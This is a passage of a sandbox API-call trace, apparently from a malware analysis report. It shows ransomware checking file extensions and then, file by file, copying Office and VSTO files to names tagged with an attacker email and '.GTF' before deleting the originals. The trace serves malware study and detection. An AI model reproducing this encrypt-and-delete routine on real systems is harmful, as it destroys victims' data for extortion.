	[0088.983] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.984] lstrlenW (lpString=".doc") returned 4
	[0088.984] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0088.984] lstrlenW (lpString=".docx") returned 5
	[0088.984] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1
	[0088.984] lstrlenW (lpString=".pdf") returned 4
	[0088.984] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0088.984] lstrlenW (lpString=".xls") returned 4
	[0088.984] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0088.984] lstrlenW (lpString=".xlsx") returned 5
	[0088.984] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1
	[0088.984] lstrlenW (lpString=".ppt") returned 4
	[0088.984] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.984] lstrlenW (lpString=".zip") returned 4
	[0088.984] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0088.984] lstrlenW (lpString=".rar") returned 4
	[0088.984] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0088.984] lstrlenW (lpString=".bz2") returned 4
	[0088.984] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0088.984] lstrlenW (lpString=".7z") returned 3
	[0088.984] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.984] lstrlenW (lpString=".dbf") returned 4
	[0088.984] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.984] lstrlenW (lpString=".1cd") returned 4
	[0088.984] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0088.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66
	[0088.984] lstrlenW (lpString=".jpg") returned 4
	[0088.984] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0088.984] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0088.985] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24
	[0088.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0088.985] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=590523) returned 1
	[0088.985] CloseHandle (hObject=0x2fc) returned 1
	[0088.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20
	[0088.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0088.985] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.985] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.986] GetLastError () returned 0x0
	[0088.986] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x902bb, lpOverlapped=0x0) returned 1
	[0089.276] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x902c0, lpOverlapped=0x0) returned 1
	[0089.296] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.296] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x104, lpOverlapped=0x0) returned 1
	[0089.296] SetEndOfFile (hFile=0x35c) returned 1
	[0089.296] CloseHandle (hObject=0x35c) returned 1
	[0089.296] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.296] SetEndOfFile (hFile=0x2fc) returned 1
	[0089.302] CloseHandle (hObject=0x2fc) returned 1
	[0089.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.302] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.303] lstrlenW (lpString=".doc") returned 4
	[0089.303] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString=".docx") returned 5
	[0089.303] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0089.303] lstrlenW (lpString=".pdf") returned 4
	[0089.303] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString=".xls") returned 4
	[0089.303] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString=".xlsx") returned 5
	[0089.303] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0089.303] lstrlenW (lpString=".ppt") returned 4
	[0089.303] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.303] lstrlenW (lpString=".zip") returned 4
	[0089.303] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString=".rar") returned 4
	[0089.303] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString=".bz2") returned 4
	[0089.303] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString=".7z") returned 3
	[0089.303] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.303] lstrlenW (lpString=".dbf") returned 4
	[0089.303] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.303] lstrlenW (lpString=".1cd") returned 4
	[0089.303] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.303] lstrlenW (lpString=".jpg") returned 4
	[0089.303] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0089.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.304] lstrlenW (lpString=".doc") returned 4
	[0089.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString=".docx") returned 5
	[0089.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0089.304] lstrlenW (lpString=".pdf") returned 4
	[0089.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString=".xls") returned 4
	[0089.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString=".xlsx") returned 5
	[0089.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0089.304] lstrlenW (lpString=".ppt") returned 4
	[0089.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.304] lstrlenW (lpString=".zip") returned 4
	[0089.304] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString=".rar") returned 4
	[0089.304] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString=".bz2") returned 4
	[0089.304] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString=".7z") returned 3
	[0089.304] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0089.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.304] lstrlenW (lpString=".dbf") returned 4
	[0089.304] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.304] lstrlenW (lpString=".1cd") returned 4
	[0089.304] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0089.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104
	[0089.304] lstrlenW (lpString=".jpg") returned 4
	[0089.304] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0089.305] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0089.305] lstrlenW (lpString="VSTOInstallerUI.dll") returned 19
	[0089.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.308] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=12448) returned 1
	[0089.308] CloseHandle (hObject=0x2fc) returned 1
	[0089.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 0x20
	[0089.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.308] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.308] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.310] GetLastError () returned 0x0
	[0089.310] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x30a0, lpOverlapped=0x0) returned 1
	[0089.744] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x30b0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x30b0, lpOverlapped=0x0) returned 1
	[0089.745] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.745] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0089.745] SetEndOfFile (hFile=0x35c) returned 1
	[0089.745] CloseHandle (hObject=0x35c) returned 1
	[0089.745] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.745] SetEndOfFile (hFile=0x2fc) returned 1
	[0089.746] CloseHandle (hObject=0x2fc) returned 1
	[0089.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.746] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\vstoinstallerui.dll")) returned 1
	[0089.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.855] lstrlenW (lpString=".doc") returned 4
	[0089.855] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.855] lstrlenW (lpString=".docx") returned 5
	[0089.855] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0089.855] lstrlenW (lpString=".pdf") returned 4
	[0089.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.855] lstrlenW (lpString=".xls") returned 4
	[0089.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.855] lstrlenW (lpString=".xlsx") returned 5
	[0089.855] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0089.856] lstrlenW (lpString=".ppt") returned 4
	[0089.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.856] lstrlenW (lpString=".zip") returned 4
	[0089.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.856] lstrlenW (lpString=".rar") returned 4
	[0089.856] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.856] lstrlenW (lpString=".bz2") returned 4
	[0089.856] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.856] lstrlenW (lpString=".7z") returned 3
	[0089.856] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.856] lstrlenW (lpString=".dbf") returned 4
	[0089.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.856] lstrlenW (lpString=".1cd") returned 4
	[0089.856] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.856] lstrlenW (lpString=".jpg") returned 4
	[0089.856] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.856] lstrlenW (lpString=".doc") returned 4
	[0089.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0089.856] lstrlenW (lpString=".docx") returned 5
	[0089.856] lstrcmpiW (lpString1=".docx", lpString2="I.dll") returned -1
	[0089.856] lstrlenW (lpString=".pdf") returned 4
	[0089.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0089.856] lstrlenW (lpString=".xls") returned 4
	[0089.856] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0089.857] lstrlenW (lpString=".xlsx") returned 5
	[0089.857] lstrcmpiW (lpString1=".xlsx", lpString2="I.dll") returned -1
	[0089.857] lstrlenW (lpString=".ppt") returned 4
	[0089.857] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0089.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.857] lstrlenW (lpString=".zip") returned 4
	[0089.857] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0089.857] lstrlenW (lpString=".rar") returned 4
	[0089.857] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0089.857] lstrlenW (lpString=".bz2") returned 4
	[0089.857] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0089.857] lstrlenW (lpString=".7z") returned 3
	[0089.857] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0089.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.857] lstrlenW (lpString=".dbf") returned 4
	[0089.857] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0089.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.857] lstrlenW (lpString=".1cd") returned 4
	[0089.857] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0089.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\10.0\\1033\\VSTOInstallerUI.dll") returned 81
	[0089.857] lstrlenW (lpString=".jpg") returned 4
	[0089.857] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0089.857] lstrcmpiW (lpString1=".tlb", lpString2=".GTF") returned 1
	[0089.857] lstrlenW (lpString="vstoee90.tlb") returned 12
	[0089.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.858] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=22680) returned 1
	[0089.858] CloseHandle (hObject=0x2fc) returned 1
	[0089.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20
	[0089.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0089.858] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.858] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0089.860] GetLastError () returned 0x0
	[0089.860] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x5898, lpOverlapped=0x0) returned 1
	[0089.871] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x58a0, lpOverlapped=0x0) returned 1
	[0089.874] ReadFile (in: hFile=0x2fc, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.874] WriteFile (in: hFile=0x35c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.874] SetEndOfFile (hFile=0x35c) returned 1
	[0089.882] CloseHandle (hObject=0x35c) returned 1
	[0089.882] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.882] SetEndOfFile (hFile=0x2fc) returned 1
	[0089.883] CloseHandle (hObject=0x2fc) returned 1
	[0089.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0089.883] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1
	[0089.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.884] lstrlenW (lpString=".doc") returned 4
	[0089.884] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0089.884] lstrlenW (lpString=".docx") returned 5
	[0089.884] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0089.884] lstrlenW (lpString=".pdf") returned 4
	[0089.884] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0089.884] lstrlenW (lpString=".xls") returned 4
	[0089.884] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0089.884] lstrlenW (lpString=".xlsx") returned 5
	[0089.884] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0089.884] lstrlenW (lpString=".ppt") returned 4
	[0089.884] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0089.884] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb") returned 64
	[0089.884] lstrlenW (lpString=".zip") returned 4
	[0089.884] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0089.884] lstrlenW (lpString=".rar") returned 4
	[0089.884] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0089.884] lstrlenW (lpString=".bz2") returned 4
	[0089.884] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0089.884] lstrlenW (lpString=".7z") returned 3
